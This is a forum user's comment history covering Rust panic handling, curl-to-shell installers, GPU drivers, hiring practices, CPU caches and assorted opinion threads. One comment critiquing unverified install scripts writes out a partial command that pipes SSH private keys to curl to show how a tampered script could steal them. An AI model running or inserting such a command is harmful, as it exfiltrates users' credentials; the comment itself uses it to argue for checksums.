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aspaceman

578 karma · joined January 28, 2018

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aspaceman··on “Rust is safe” is not some kind of absolute guarantee of code safety
Ease the snark space ranger.

> dynamic errors fail smaller granularity tasks and handlers deal with tasks failing due to safety checks going bad.

Yes and that's why Rust is bad here (but it doesn't have to be). Rust _forces_ you to stop the whole world when an error occurs. You cannot fail at a smaller granularity. You have to panic. Period. This is why it is being criticized here. It doesn't allow you any other granularity. The top comment has some alternatives that still work in Rust.

aspaceman··on “Rust is safe” is not some kind of absolute guarantee of code safety
> it's definitely not what he wrote.

I feel like we must have read two different articles. You sound crazy. Didn't read it your way at all.

> Think of that "debugging tools give a huge warning" as being the equivalent of std::panic in standard rust. Yes, the kernel will continue (unless you have panic-on-warn set), because the kernel MUST continue in order for that "report to upstream" to have a chance of happening.

"If the kernel shuts down the world, we don't get the bug report", seems like a pretty good argument. There are two options when you hit a panic in rust code:

* Panic and shut it all down. This prevents any reporting mechanism like a core dump. You cannot attach a normal debugger to the kernel.

* Ignore the panic and proceed with the information it failed, reporting this failure later.

The kernel is a single program, so it's not like you could just fork it before every Rust call and fail if they fail.

aspaceman··on Zellij: A terminal workspace with batteries included
It could, but I can trust that no individual stepped in the middle of that process.

I trust Rust to not put such a thing in their binary. I do not trust an arbitrary man in the middle, and it's trivial to modify a shell script.

Without a checksum, I can't ensure the binary im piping through the shell is the binary they posted and built. Anyone can step in, modify a few lines, and get access to a large part of my system. The barrier to entry to add such capability to arbitrary binaries is outrageously high.

aspaceman··on Zellij: A terminal workspace with batteries included
"a bunch of folks do something insecure" does not speak argument.

The argument is that it is insecure. Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..." and get your company ssh keys. There's no reason rust, brew and all the rest can't provide a Download page with a checksum. They choose not to, like this project chose not to, because it doesn't look as sexy.

It's really silly.

aspaceman··on Nvidia releases open-source GPU kernel modules
> Have a look at libdrm from the mesa project (the AMDGPU submodule), then it will give you pointers where to look into the kernel-DRM via the right IOCTLs.

Exactly the pointer I was looking for, thank you.

aspaceman··on Nvidia releases open-source GPU kernel modules
Do you have a reference for the AMD interface? I know it exists but don't know where to find it.
aspaceman··on Please put units in names
See https://unyt.readthedocs.io/en/stable/ in Python. This sort of feature fits really well within Python's featureset.
aspaceman··on Heuristics that almost always work
> This reads like some generic LinkedIn CEO post that sounds deep on the surface but actually means nothing.

I felt exactly the opposite. In my career as an engineer I regularly encounter experts who claim to be so, but offer no qualifications or expertise. Having the ability to respond to this type of stuff is valuable.

In my personal life, I've felt that many therapists exhibit this exact response. They choose to give heuristics and platitudes because, often times, they work. But it means they are giving up the expertise which they claim possession of.

I'm reminded of quite the childish thing by this article: "With great power comes great responsibility." If you claim to be an expert, you need to actually be an expert. I consider this the social contract of expertise and prestige.

aspaceman··on KDE: A Nice Tiling Environment and a Surprisingly Awesome DE
IMHO it's like your actual desk. Some people like it clean and organized - others have a cluttered mess of objects.

My desk is a tragedy, but I much prefer tiling window managers and rigid, well-organized computing environments. Great to see the variety of options provided by KDE. I'll have to give this a try.

aspaceman··on WSL with CUDA support
Yeah I dug into the update catalog and downloaded the update that way myself. So there's a few ways to get it. Folks above mentioned the Update Assistant giving it if the Windows Update screen doesn't.
aspaceman··on I took a job at Amazon, only to leave after 10 months
I think it's pretty common at small to mid sized companies + startups. Your more "trendy" companies and your F500 companies do the type of Leetcode interview you hear everyone on HN complain about.

It typically looks like a 15 minute phone interview with HR, followed by a lengthy Leetcode/ take home exam (that's auto graded, no humans), a computer form where you input your school, GPA, and courses taken (seriously). All of this info gets turned into a number and then HR takes a sample of the top X and hands it to the hiring manager: "Here are the 'viable' candidates".

The hiring manager then has to (basically) interview the candidate themselves. Ensure they actually have the skills for the position, determine their interest in the role, etc. So this is probably what you're doing right now. Just imagine someone filtered a bunch of your resumes first.

Take with a grain of salt, but I have heard of some folks explicitly getting permission to do hiring outside of HR at said large companies. The kids they get out of undergrad and through HR's Leetcode process are apparently complete garbage. Don't understand C, pointers, memory, or Linux at all. Don't even know what files are.

aspaceman··on How to design a house to last 1000 years
> That rarely happens with churches.

I agree. If the church didn't survive, they would just build a new one.

I imagine there lie the remains of hundreds of separate cathedrals under one. But you would never say "the church fell down". Rather, "there was an accident and renovations were required".

I see them as a Ship of Theseus, where the most long-lasting examples were determined through a lot of trial and error.

Isn't this a thing with Notre Dame? It's been a while but I remember the opening of Hunchback mentions the rebuilding right?

aspaceman··on Darling – Run Mac apps on Linux
> They are already way outside of rational territory and deep into religious territory. In their minds Linux hasn't changed a bit since 1999, even though if you were to compare mac os from that time period against modern linux, they would become enraged at the unfairness and injustice.

I agree that this is part of it. But I also just see plain antagonism against Linux because people recommend it. Just pure contrarianism.

But a lot of the recommendations for Proton are also "memey". It's a bad fit if you need Anti-Cheat or proper injection protection. And that's just the nature of the beast. A proper Anti-Cheat _shouldn't_ approve of the injection necessary to get Proton working

So I do have to keep a Windows installation myself. But Proton represents a really cool technical milestone. Weird the way people talk about tech in games.

aspaceman··on Many surprise medical bills are now illegal
IMO the people with said power and responsibility just want to finger point. But what do you do when no one is willing to put on the pants?
aspaceman··on Many surprise medical bills are now illegal
That first comment nails it as well. Everyone wants to feel like they're contributing something novel or unique to a comment thread but....
aspaceman··on A single line of code made a 24-core server slower than a laptop
Found some detail - apparently the CPU manuals are the place to check https://cs.stackexchange.com/a/1090
aspaceman··on A single line of code made a 24-core server slower than a laptop
Coherency will be maintained (since the protocols support that case). But yes, a separate process would evict that memory. From the processors point of view, they're just addresses tagged with data. Caching behavior doesnt depend on virtual memory addresses because I believe that info is stripped away at that point.

So if someone is thrashing cache on the same core you're on, you will notice it if the processes aren't being shared effectively.

The contents of the cache aren't stored as part of a paused process or context switch. But I'd appreciate a correction here if I'm wrong.

For an example, consider two processes A and B running on a set of cores. If A makes many more memory accesses than B, A can effectively starve B of "cached" memory accesses because A accesses memory more frequently.

If B were run alone, then it's working set would fit in cache. Effectively making the algorithm operate from cache instead of RAM.

BUT. You really have to be hitting the caches hard. Doesn't happen too often in casual applications. I only encountered this on GPUs (where each core has sperate L1 but a shared L2). Even then it's only aa problem if every core is hitting different cache lines.

aspaceman··on FAA investigating controversial crash video
Could anyone who is a pilot comment on what you're _supposed_ to do if your engine completely goes out? From what I've read so far the answer is "keep trying to get the engine back".

Do you just try and glide it out and land? That's what I would imagine. What even would be the situation where you would bail?

Bailing sounds like more of a military thing to me. _Or_ a fire?

aspaceman··on Midwest Developer
I grew up pretty close to Chicago and folks in California still call me "corn boy".
aspaceman··on Why is U.S. labor supply so low?
> The vast majority of the deaths have been in age groups that are typically out of the workforce.

But I had the impression people were unable to retire or retiring significantly later.

aspaceman··on Why is U.S. labor supply so low?
This may be a bit stupid of a thing to say.

But didn't a bunch of people just die? Wouldnt this make labor more scarce and valuable?

Why is this continually framed as a "these lazy kids" or welfare thing?

aspaceman··on “Autism is a spectrum” doesn’t mean what you think (2019)
Probably will lose an account over this, but...

> I don't think that "autistic" is more of a "status symbol" than, say, "gay".

Uh..aren't they both pretty big status symbols? Gay, queer, disability, "this is indigenous land". If I work as a disability officer, it's probably somewhat important my email byline has a disability (or two, of three).

"I have to prove my status" (as someone who is a disability officer) and "this person is a disability officer, they dont even have a disability or their pronouns in the signature?!".

aspaceman··on Face recognition is being banned, but it’s still everywhere
Now explain that to a lawyer.

They won't get it. Trust me.

aspaceman··on Watching video twice at 2x can benefit learning better than once at normal speed
Patience is as much a skill as any other though. I don't quite understand this hyperoptimization. I'll speed up things I find a little dull or advertisements, but increasing the pace of everyone's speech for your sake seems....odd?
aspaceman··on Dramatic growth in mental-health apps has created a risky industry
This may be off-topic, but I first learned of this via the Japanese anime: "Welcome to the NHK" - has stuck with me ever since.
aspaceman··on Dramatic growth in mental-health apps has created a risky industry
Yes. The most common are those experienced by young people- teenaged girls. Ex: eating disorders, self harm, and personality disorders. There's also been recent findings relating to involuntary movement disorders. (Women claim to have tourettes like symptoms. They watched a lot of social media -> picked up involuntary habits that look similar. Not tourettes, but a psychological issue.) Could start here for research:

> Findings in this literature are consistent with social modeling/learning of NSSI increasing risk of initial engagement in NSSI among individuals with certain individual and/or psychiatric characteristics.

https://www.tandfonline.com/doi/full/10.1080/13811118.2013.7...

NSSI meaning non-suicidal self injury.

aspaceman··on Ubisoft's unprecedented “exodus” of developers
IMHO, the results possible with modern open source tools are really amazing. I think a lot of the "cost" of AAA are inefficiencies in the pipeline, and issues of scope.

A racing title seems especially easy to limit scope in. Compare your titles with the F1 games. There's no fancy campaign with voice acting and 3D modeled faces. But it plays really nice and the used assets are pristine. Indie no longer has to imply "2D pixel art".

Speaking from experience, it's not that hard to teach some artist friends how to use blender. Then it's just a matter of compensating them fairly and you're off to the races. Plus it's fun. If you haven't tried 3D art, it's surprisingly intuitive. Like a sculpting with magic hands and clay that isn't annoying.

aspaceman··on Ubisoft's unprecedented “exodus” of developers
If you're unable to retain the people with the necessary skills, it doesn't matter how high the demand for the field is.

There are very few people with relevant graphics programming skills. Who cares if 10000 undergrads wanting to be game devs if none of them know C++, and even fewer know what a pointer is.

You may think I'm joking, but even undergrads coming out of the most elite institutions have no knowledge of these things.

How the hell you gonna explain compute shaders to a guy like that? You can only license out these problems to third party tools so much. Epic isn't going to come in and save you when you fuck up the release.

aspaceman··on ReactOS 0.4.14
I would find it more likely that old device drivers get decompiled and reverse engineered.

Heck I think there's a lot of value in an emulator for old device drivers. Who cares what the source was when you just execute the black box in a highly regulated sandbox? (Note doesn't work for some medical software). I think medicine and astro / aero are the few places that would require full decompilation of an original driver.

aspaceman··on I was part of a human subject research study without my consent
Most universities require all social science research to go through IRB. https://sociology.unc.edu/graduate-program/graduate-research...

I've been seeing this a few times now. Extremely ignorant computer scientists and STEM folks skipping IRB and claiming "theyve never even heard of getting approval for social research". Pretty gross in my view honestly.

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